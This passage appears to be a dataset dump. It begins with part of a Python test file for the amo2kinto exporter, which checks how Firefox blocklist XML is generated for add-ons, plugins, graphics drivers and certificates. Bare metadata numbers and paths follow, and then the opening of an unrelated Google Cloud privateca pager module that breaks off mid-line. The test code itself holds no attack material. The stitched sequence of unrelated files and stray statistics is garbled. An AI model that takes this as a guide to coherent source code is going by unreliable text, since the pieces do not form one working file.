constants.FIREFOX_APPID, "minVersion": "3.6", "maxVersion": "3.6.*"} ], "minVersion": "0", "maxVersion": "*", "severity": 3 }] exporter.write_addons_items(xml_tree, [data], constants.FIREFOX_APPID, app_ver="3.7") result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <emItems/> </blocklist> """.decode('utf-8') def test_addon_record_with_future_targetApplication_version_matching(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) exporter.write_addons_items(xml_tree, [ADDONS_DATA], constants.FIREFOX_APPID, app_ver="3.1") result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <emItems> <emItem blockID="i454" id="sqlmoz@facebook.com"> <prefs> <pref>test.blocklist</pref> </prefs> <versionRange minVersion="0" maxVersion="*" severity="3"> <targetApplication id="{ec8030f7-c20a-464f-9b0e-13a3a9e97384}"> <versionRange maxVersion="3.6.*" minVersion="3.6"/> </targetApplication> </versionRange> <versionRange minVersion="0" maxVersion="*"/> </emItem> </emItems> </blocklist> """.decode('utf-8') def test_addon_record_group_by_blockID(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = ADDONS_DATA.copy() data['versionRange'] = [{ "targetApplication": [ {"guid": constants.FIREFOX_APPID, "minVersion": "1.2", "maxVersion": "1.4"} ], "minVersion": "0", "maxVersion": "*", "severity": 3 }] data2 = ADDONS_DATA.copy() data2['blockID'] = 'i586' data2['versionRange'] = [{ "targetApplication": [ {"guid": constants.FIREFOX_APPID, "minVersion": "3.6", "maxVersion": "3.6.*"} ], "minVersion": "0", "maxVersion": "*", "severity": 2 }] exporter.write_addons_items(xml_tree, [data, data2], constants.FIREFOX_APPID) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <emItems> <emItem blockID="i586" id="sqlmoz@facebook.com"> <prefs> <pref>test.blocklist</pref> </prefs> <versionRange minVersion="0" maxVersion="*" severity="3"> <targetApplication id="{ec8030f7-c20a-464f-9b0e-13a3a9e97384}"> <versionRange maxVersion="1.4" minVersion="1.2"/> </targetApplication> </versionRange> <versionRange minVersion="0" maxVersion="*" severity="2"> <targetApplication id="{ec8030f7-c20a-464f-9b0e-13a3a9e97384}"> <versionRange maxVersion="3.6.*" minVersion="3.6"/> </targetApplication> </versionRange> </emItem> </emItems> </blocklist> """.decode('utf-8') PLUGIN_DATA = { "id": "6a1b6dfe-f463-3061-e8f8-6e896ccf2a8a", "last_modified": "1301581706645", "blockID": "p26", "matchName": "^Yahoo Application State Plugin$", "matchFilename": "npYState.dll", "matchDescription": "^Yahoo Application State Plugin$", "infoURL": "https://get.adobe.com/flashplayer/", "details": { "who": "Users of all versions of Yahoo Application State Plugin " "for Firefox 3 and later.\r\n\r\nUsers of all versions of Yahoo " "Application State Plugin for SeaMonkey 1.0.0.5 and later.", "created": "2011-03-31T16:28:26Z", "name": "Yahoo Application State Plugin", "bug": "https://bugzilla.mozilla.org/show_bug.cgi?id=421993", "why": "This plugin causes a high volume of Firefox and SeaMonkey " "crashes." }, "versionRange": [{ "minVersion": "0", "maxVersion": "4.1.10328.0", "severity": 0, "vulnerabilityStatus": 1, "targetApplication": [{ "minVersion": "3.0a1", "guid": constants.FIREFOX_APPID, "maxVersion": "3.*" }] }] } def test_between_does_not_fails_with_none(): assert exporter.between(compare.version_int("46.2"), None, None) def test_get_related_targetApplication_accepts_versionRange_without_targetApplication(): assert exporter.get_related_targetApplication({}, None, None) is None def test_plugin_record(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) exporter.write_plugin_items(xml_tree, [PLUGIN_DATA], constants.FIREFOX_APPID) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <pluginItems> <pluginItem blockID="p26"> <match exp="^Yahoo Application State Plugin$" name="name"/> <match exp="npYState.dll" name="filename"/> <match exp="^Yahoo Application State Plugin$" name="description"/> <infoURL>https://get.adobe.com/flashplayer/</infoURL> <versionRange maxVersion="4.1.10328.0" minVersion="0" severity="0" \ vulnerabilitystatus="1"> <targetApplication id="{ec8030f7-c20a-464f-9b0e-13a3a9e97384}"> <versionRange maxVersion="3.*" minVersion="3.0a1"/> </targetApplication> </versionRange> </pluginItem> </pluginItems> </blocklist> """.decode('utf-8') def test_plugin_record_with_api_version_2(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) exporter.write_plugin_items(xml_tree, [PLUGIN_DATA], constants.FIREFOX_APPID, api_ver=2) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <pluginItems> <pluginItem blockID="p26"> <match exp="^Yahoo Application State Plugin$" name="name"/> <match exp="npYState.dll" name="filename"/> <match exp="^Yahoo Application State Plugin$" name="description"/> <infoURL>https://get.adobe.com/flashplayer/</infoURL> <versionRange maxVersion="4.1.10328.0" minVersion="0" severity="0" \ vulnerabilitystatus="1"/> </pluginItem> </pluginItems> </blocklist> """.decode('utf-8') def test_plugin_record_with_api_version_2_with_no_guid(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = PLUGIN_DATA.copy() data['versionRange'] = [{ "targetApplication": [], "minVersion": "0", "maxVersion": "*", "severity": 0, "vulnerabilityStatus": "1" }] exporter.write_plugin_items(xml_tree, [data], constants.FIREFOX_APPID, api_ver=2) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <pluginItems> <pluginItem blockID="p26"> <match exp="^Yahoo Application State Plugin$" name="name"/> <match exp="npYState.dll" name="filename"/> <match exp="^Yahoo Application State Plugin$" name="description"/> <infoURL>https://get.adobe.com/flashplayer/</infoURL> <versionRange severity="0" vulnerabilitystatus="1"/> </pluginItem> </pluginItems> </blocklist> """.decode('utf-8') def test_plugin_record_with_api_version_2_with_no_guid_and_no_vulnerability(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = PLUGIN_DATA.copy() data['versionRange'] = [{ "targetApplication": [], "minVersion": "0", "maxVersion": "*", "severity": 1 }] exporter.write_plugin_items(xml_tree, [data], constants.FIREFOX_APPID, api_ver=2) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <pluginItems> <pluginItem blockID="p26"> <match exp="^Yahoo Application State Plugin$" name="name"/> <match exp="npYState.dll" name="filename"/> <match exp="^Yahoo Application State Plugin$" name="description"/> <infoURL>https://get.adobe.com/flashplayer/</infoURL> </pluginItem> </pluginItems> </blocklist> """.decode('utf-8') def test_plugin_record_with_api_version_2_with_no_guid_and_severity_only(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = PLUGIN_DATA.copy() data['versionRange'] = [{ "targetApplication": [], "severity": 1 }] exporter.write_plugin_items(xml_tree, [data], constants.FIREFOX_APPID, api_ver=2) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <pluginItems> <pluginItem blockID="p26"> <match exp="^Yahoo Application State Plugin$" name="name"/> <match exp="npYState.dll" name="filename"/> <match exp="^Yahoo Application State Plugin$" name="description"/> <infoURL>https://get.adobe.com/flashplayer/</infoURL> <versionRange severity="1"/> </pluginItem> </pluginItems> </blocklist> """.decode('utf-8') def test_plugin_record_with_api_version_2_with_no_guid_and_severity_0(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = PLUGIN_DATA.copy() data['versionRange'] = [{ "targetApplication": [], "severity": 0 }] exporter.write_plugin_items(xml_tree, [data], constants.FIREFOX_APPID, api_ver=2) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <pluginItems> <pluginItem blockID="p26"> <match exp="^Yahoo Application State Plugin$" name="name"/> <match exp="npYState.dll" name="filename"/> <match exp="^Yahoo Application State Plugin$" name="description"/> <infoURL>https://get.adobe.com/flashplayer/</infoURL> <versionRange severity="0"/> </pluginItem> </pluginItems> </blocklist> """.decode('utf-8') def test_plugin_record_with_api_version_2_with_guid_and_no_min_max_version(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = PLUGIN_DATA.copy() data['versionRange'] = [{ "targetApplication": [ {"guid": constants.FIREFOX_APPID, "minVersion": "3.6", "maxVersion": "3.6.*"} ], "severity": 0, "vulnerabilityStatus": 1 }] exporter.write_plugin_items(xml_tree, [data], constants.FIREFOX_APPID, api_ver=2) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <pluginItems> <pluginItem blockID="p26"> <match exp="^Yahoo Application State Plugin$" name="name"/> <match exp="npYState.dll" name="filename"/> <match exp="^Yahoo Application State Plugin$" name="description"/> <infoURL>https://get.adobe.com/flashplayer/</infoURL> <versionRange severity="0" vulnerabilitystatus="1"/> </pluginItem> </pluginItems> </blocklist> """.decode('utf-8') def test_plugin_record_with_api_version_2_with_guid_and_empty_versionRange(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = PLUGIN_DATA.copy() data['versionRange'] = [{ "targetApplication": [ {"guid": constants.FIREFOX_APPID, "minVersion": "3.6", "maxVersion": "3.6.*"} ] }] exporter.write_plugin_items(xml_tree, [data], constants.FIREFOX_APPID, api_ver=2) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <pluginItems> <pluginItem blockID="p26"> <match exp="^Yahoo Application State Plugin$" name="name"/> <match exp="npYState.dll" name="filename"/> <match exp="^Yahoo Application State Plugin$" name="description"/> <infoURL>https://get.adobe.com/flashplayer/</infoURL> <versionRange/> </pluginItem> </pluginItems> </blocklist> """.decode('utf-8') def test_plugin_record_with_api_version_2_with_related_version(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = PLUGIN_DATA.copy() data['versionRange'] = [{ "targetApplication": [ {"guid": constants.FIREFOX_APPID, "minVersion": "3.6", "maxVersion": "3.6.*"} ], "severity": 0, "vulnerabilityStatus": 1 }] exporter.write_plugin_items(xml_tree, [data], constants.FIREFOX_APPID, api_ver=2, app_ver="3.6.1") result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <pluginItems> <pluginItem blockID="p26"> <match exp="^Yahoo Application State Plugin$" name="name"/> <match exp="npYState.dll" name="filename"/> <match exp="^Yahoo Application State Plugin$" name="description"/> <infoURL>https://get.adobe.com/flashplayer/</infoURL> <versionRange severity="0" vulnerabilitystatus="1"/> </pluginItem> </pluginItems> </blocklist> """.decode('utf-8') def test_plugin_record_with_no_targetApplication_info(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = PLUGIN_DATA.copy() data['name'] = "Yahoo Application State Plugin" data['os'] = "WINNT" data['xpcomabi'] = "test" data['versionRange'] = [{ "targetApplication": [], "minVersion": "0", "maxVersion": "*", "severity": 0, "vulnerabilityStatus": "1" }] exporter.write_plugin_items(xml_tree, [data], constants.FIREFOX_APPID) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <pluginItems> <pluginItem blockID="p26" name="Yahoo Application State Plugin" os="WINNT"\ xpcomabi="test"> <match exp="^Yahoo Application State Plugin$" name="name"/> <match exp="npYState.dll" name="filename"/> <match exp="^Yahoo Application State Plugin$" name="description"/> <infoURL>https://get.adobe.com/flashplayer/</infoURL> <versionRange maxVersion="*" minVersion="0" severity="0" \ vulnerabilitystatus="1"/> </pluginItem> </pluginItems> </blocklist> """.decode('utf-8') def test_plugin_record_with_no_targetApplication_matching(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = PLUGIN_DATA.copy() data['versionRange'] = [{ "targetApplication": [ {"guid": "{some-other-application}", "minVersion": "1.2", "maxVersion": "1.4"} ], "minVersion": "0", "maxVersion": "*", "severity": 3 }] exporter.write_plugin_items(xml_tree, [data], constants.FIREFOX_APPID) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <pluginItems/> </blocklist> """.decode('utf-8') GFX_DATA = { "id": "00a6b9d2-285f-83f0-0a1f-ef0205a60067", "last_modified": "1348467813852", "blockID": "g35", "devices": ["0x0a6c"], "driverVersion": "8.17.12.5896", "driverVersionComparator": "LESS_THAN_OR_EQUAL", "feature": "DIRECT2D", "featureStatus": "BLOCKED_DRIVER_VERSION", "vendor": "0x10de", "versionRange": { "minVersion": "3.2", "maxVersion": "3.4" }, "details": { "who": "All Firefox users who have these drivers installed.", "created": "2012-09-24T08:23:33Z", "name": "ATI/AMD driver 8.982.0.0", "bug": "https://bugzilla.mozilla.org/show_bug.cgi?id=792480", "why": "Some features in these drivers are causing frequent crashes " "in Firefox." }, "os": "WINNT 6.1" } def test_gfx_record(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) exporter.write_gfx_items(xml_tree, [GFX_DATA], constants.FIREFOX_APPID) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <gfxItems> <gfxBlacklistEntry blockID="g35"> <os>WINNT 6.1</os> <vendor>0x10de</vendor> <feature>DIRECT2D</feature> <featureStatus>BLOCKED_DRIVER_VERSION</featureStatus> <driverVersion>8.17.12.5896</driverVersion> <driverVersionComparator>LESS_THAN_OR_EQUAL</driverVersionComparator> <devices> <device>0x0a6c</device> </devices> <versionRange minVersion="3.2" maxVersion="3.4"/> </gfxBlacklistEntry> </gfxItems> </blocklist> """.decode('utf-8') CERTIFICATE_DATA = { "id": "fe7681eb-8480-718e-9870-084dca698f1d", "last_modified": "1448372434324", "blockID": "c796", "issuerName": "MBQxEjAQBgNVBAMTCWVEZWxsUm9vdA==", "serialNumber": "a8V7lRiTqpdLYkrAiPw7tg==", "details": { "who": ".", "created": "2015-11-24T14:40:34Z", "name": "eDellRoot", "bug": "https://bugzilla.mozilla.org/show_bug.cgi?id=1227729", "why": "." } } def test_certificate_record(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) exporter.write_cert_items(xml_tree, [CERTIFICATE_DATA]) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <certItems> <certItem issuerName="MBQxEjAQBgNVBAMTCWVEZWxsUm9vdA=="> <serialNumber>a8V7lRiTqpdLYkrAiPw7tg==</serialNumber> </certItem> </certItems> </blocklist> """.decode('utf-8') CERTIFICATE_DATA_WITH_EMPTY_PUB_KEY = { "id": "fe7681eb-8480-718e-9870-084dca698f1d", "last_modified": "1448372434324", "blockID": "c796", "issuerName": "MBQxEjAQBgNVBAMTCWVEZWxsUm9vdA==", "serialNumber": "a8V7lRiTqpdLYkrAiPw7tg==", "subject": "", "pubKeyHash": "=", "details": { "who": ".", "created": "2015-11-24T14:40:34Z", "name": "eDellRoot", "bug": "https://bugzilla.mozilla.org/show_bug.cgi?id=1227729", "why": "." } } def test_certificate_record_with_empty_pub_key(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) exporter.write_cert_items(xml_tree, [CERTIFICATE_DATA_WITH_EMPTY_PUB_KEY]) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <certItems> <certItem issuerName="MBQxEjAQBgNVBAMTCWVEZWxsUm9vdA=="> <serialNumber>a8V7lRiTqpdLYkrAiPw7tg==</serialNumber> </certItem> </certItems> </blocklist> """.decode('utf-8') CERTIFICATE_DATA_WITH_SUBJECT = { "id": "fe7681eb-8480-718e-9870-084dca698f1d", "last_modified": "1448372434324", "blockID": "c796", "subject": "MCIxIDAeBgNVBAMMF0Fub3RoZXIgVGVzdCBFbmQtZW50aXR5", "pubKeyHash": "VCIlmPM9NkgFQtrs4Oa5TeFcDu6MWRTKSNdePEhOgD8=", "details": { "who": ".", "created": "2017-10-02T14:23:34Z", "name": "Test End-entity", "bug": "https://bugzilla.mozilla.org/show_bug.cgi?id=1404915", "why": "." } } def test_certificate_record_with_subject_and_pubKeyHash(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) exporter.write_cert_items(xml_tree, [CERTIFICATE_DATA_WITH_SUBJECT]) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <certItems> <certItem pubKeyHash="VCIlmPM9NkgFQtrs4Oa5TeFcDu6MWRTKSNdePEhOgD8=" \ subject="MCIxIDAeBgNVBAMMF0Fub3RoZXIgVGVzdCBFbmQtZW50aXR5"/> </certItems> </blocklist> """.decode('utf-8') CERTIFICATE_DATA_WITH_SUBJECT_AND_EMPTY_ISSUER = { "id": "fe7681eb-8480-718e-9870-084dca698f1d", "last_modified": "1448372434324", "blockID": "c796", "subject": "MCIxIDAeBgNVBAMMF0Fub3RoZXIgVGVzdCBFbmQtZW50aXR5", "pubKeyHash": "VCIlmPM9NkgFQtrs4Oa5TeFcDu6MWRTKSNdePEhOgD8=", "issuerName": "", "serialNumber": "", "details": { "who": ".", "created": "2017-10-02T14:23:34Z", "name": "Test End-entity", "bug": "https://bugzilla.mozilla.org/show_bug.cgi?id=1404915", "why": "." } } def test_certificate_record_with_subject_and_pubKeyHash_with_empty_issuerName(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) exporter.write_cert_items(xml_tree, [CERTIFICATE_DATA_WITH_SUBJECT_AND_EMPTY_ISSUER]) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <certItems> <certItem pubKeyHash="VCIlmPM9NkgFQtrs4Oa5TeFcDu6MWRTKSNdePEhOgD8=" \ subject="MCIxIDAeBgNVBAMMF0Fub3RoZXIgVGVzdCBFbmQtZW50aXR5"/> </certItems> </blocklist> """.decode('utf-8') def test_certificate_record_post_fx58(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) exporter.write_cert_items(xml_tree, [CERTIFICATE_DATA_WITH_SUBJECT_AND_EMPTY_ISSUER], app_id=constants.FIREFOX_APPID, app_ver="59.0") result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"/> """.decode('utf-8') class TestMain(unittest.TestCase): def setUp(self): p = mock.patch('kinto_http.cli_utils.Client') self.MockedClient = p.start() self.MockedClient.return_value.get_records.return_value = [] self.addCleanup(p.stop) def assert_arguments(self, kinto_client, **kwargs): kwargs.setdefault('kinto_server', constants.KINTO_SERVER) kwargs.setdefault('auth', constants.AUTH) kwargs.setdefault('certificates_bucket', constants.CERT_BUCKET) kwargs.setdefault('certificates_collection', constants.CERT_COLLECTION) kwargs.setdefault('gfx_bucket', constants.GFX_BUCKET) kwargs.setdefault('gfx_collection', constants.GFX_COLLECTION) kwargs.setdefault('addons_bucket', constants.ADDONS_BUCKET) kwargs.setdefault('addons_collection', constants.ADDONS_COLLECTION) kwargs.setdefault('plugins_bucket', constants.PLUGINS_BUCKET) kwargs.setdefault('plugins_collection', constants.PLUGINS_COLLECTION) kinto_client.assert_called_with(server_url=kwargs['kinto_server'], auth=kwargs['auth'], bucket=None, collection=None, retry=0, retry_after=None) cert_arguments = { 'bucket': kwargs['certificates_bucket'], 'collection': kwargs['certificates_collection'], 'enabled': True, '_sort': 'last_modified', } kinto_client.return_value.get_records.assert_any_call(**cert_arguments) gfx_arguments = { 'bucket': kwargs['gfx_bucket'], 'collection': kwargs['gfx_collection'], 'enabled': True, '_sort': 'last_modified', } kinto_client.return_value.get_records.assert_any_call(**gfx_arguments) addons_arguments = { 'bucket': kwargs['addons_bucket'], 'collection': kwargs['addons_collection'], 'enabled': True, '_sort': 'last_modified', } kinto_client.return_value.get_records.assert_any_call( **addons_arguments) plugins_arguments = { 'bucket': kwargs['plugins_bucket'], 'collection': kwargs['plugins_collection'], 'enabled': True, '_sort': 'last_modified', } kinto_client.return_value.get_records.assert_any_call( **plugins_arguments) def test_main_default(self): # let's check that main() parsing uses our defaults exporter.main([]) self.assert_arguments(self.MockedClient) def test_main_custom_server(self): exporter.main(['-s', 'http://yeah']) self.assert_arguments(self.MockedClient, kinto_server='http://yeah') def test_can_define_the_certificates_bucket_and_collection(self): exporter.main(['--certificates-bucket', 'bucket', '--certificates-collection', 'collection']) self.assert_arguments(self.MockedClient, certificates_bucket='bucket', certificates_collection='collection') def test_can_define_the_gfx_bucket_and_collection(self): exporter.main(['--gfx-bucket', 'bucket', '--gfx-collection', 'collection']) self.assert_arguments(self.MockedClient, gfx_bucket='bucket', gfx_collection='collection') def test_can_define_the_addons_bucket_and_collection(self): exporter.main(['--addons-bucket', 'bucket', '--addons-collection', 'collection']) self.assert_arguments(self.MockedClient, addons_bucket='bucket', addons_collection='collection') def test_can_define_the_plugins_bucket_and_collection(self): exporter.main(['--plugins-bucket', 'bucket', '--plugins-collection', 'collection']) self.assert_arguments(self.MockedClient, plugins_bucket='bucket', plugins_collection='collection') def test_can_define_the_auth_credentials(self): exporter.main(['--auth', 'user:pass']) self.assert_arguments(self.MockedClient, auth=('user', 'pass')) def test_can_define_the_output_file(self): out_file = StringIO() with mock.patch.object(out_file, 'close') as mocked_close: with mock.patch('amo2kinto.exporter.open', return_value=out_file): exporter.main(['--out', 'file']) self.assert_arguments(self.MockedClient) self.assertTrue(mocked_close.called) self.assertNotEqual(len(out_file.getvalue()), 0) def test_get_records_read_fails(self): with mock.patch('kinto_http.cli_utils.Client') as MockedClient: MockedClient.return_value.get_records.side_effect = Exception with mock.patch('amo2kinto.exporter.logger') as mocked_logger: exporter.main([]) self.assertEqual(mocked_logger.warn.call_count, 4) def test_last_updated_uses_greater_value(self): self.MockedClient.return_value.get_records.side_effect = ( [ADDONS_DATA], [PLUGIN_DATA], [GFX_DATA], [CERTIFICATE_DATA] ) out_file = StringIO() with mock.patch.object(out_file, 'close'): with mock.patch('amo2kinto.exporter.open', return_value=out_file): exporter.main(['--out', 'file']) self.assertIn('lastupdate="1448372434324"', out_file.getvalue()) def test_no_certs_post_fx58(self): self.MockedClient.return_value.get_records.side_effect = ( [ADDONS_DATA], [PLUGIN_DATA], [GFX_DATA], [CERTIFICATE_DATA] ) out_file = StringIO() with mock.patch.object(out_file, 'close'): with mock.patch('amo2kinto.exporter.open', return_value=out_file): exporter.main(['--out', 'file', '--app', constants.FIREFOX_APPID, '--app-version', '58.0']) self.assertNotIn('<certItems>', out_file.getvalue())
32.392204
89
0.612643
4,200
40,717
5.778095
0.086429
0.016483
0.024724
0.039146
0.852645
0.826232
0.799159
0.771057
0.768461
0.758695
0
0.06159
0.233981
40,717
1,256
90
32.417994
0.71648
0.001203
0
0.743017
0
0.002793
0.46218
0.076059
0
0
0.00059
0
0.042831
1
0.037244
false
0.001862
0.004655
0
0.042831
0.023277
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
689e0331ae5302ee04d2bbce767aa98240c09190
27,327
py
Python
google/cloud/security/privateca_v1/services/certificate_authority_service/pagers.py
FrodoTheTrue/python-security-private-ca
170f9be92448278064fd58f2a9302ca2f8c43b04
[ "Apache-2.0" ]
null
null
null
google/cloud/security/privateca_v1/services/certificate_authority_service/pagers.py
FrodoTheTrue/python-security-private-ca
170f9be92448278064fd58f2a9302ca2f8c43b04
[ "Apache-2.0" ]
null
null
null
google/cloud/security/privateca_v1/services/certificate_authority_service/pagers.py
FrodoTheTrue/python-security-private-ca
170f9be92448278064fd58f2a9302ca2f8c43b04
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from typing import ( Any, AsyncIterable, Awaitable, Callable, Iterable, Sequence, Tuple, Optional, ) from google.cloud.security.privateca_v1.types import resources from google.cloud.security.privateca_v1.types import service class ListCertificatesPager: """A pager for iterating through ``list_certificates`` requests. This class thinly wraps an initial :class:`google.cloud.security.privateca_v1.types.ListCertificatesResponse` object, and provides an ``__iter__`` method to iterate through its ``certificates`` field. If there are more pages, the ``__iter__`` method will make additional ``ListCertificates`` requests and continue to iterate through the ``certificates`` field on the corresponding responses. All the usual :class:`google.cloud.security.privateca_v1.types.ListCertificatesResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[..., service.ListCertificatesResponse], request: service.ListCertificatesRequest, response: service.ListCertificatesResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.security.privateca_v1.types.ListCertificatesRequest): The initial request object. response (google.cloud.security.privateca_v1.types.ListCertificatesResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListCertificatesRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property def pages(self) -> Iterable[service.ListCertificatesResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = self._method(self._request, 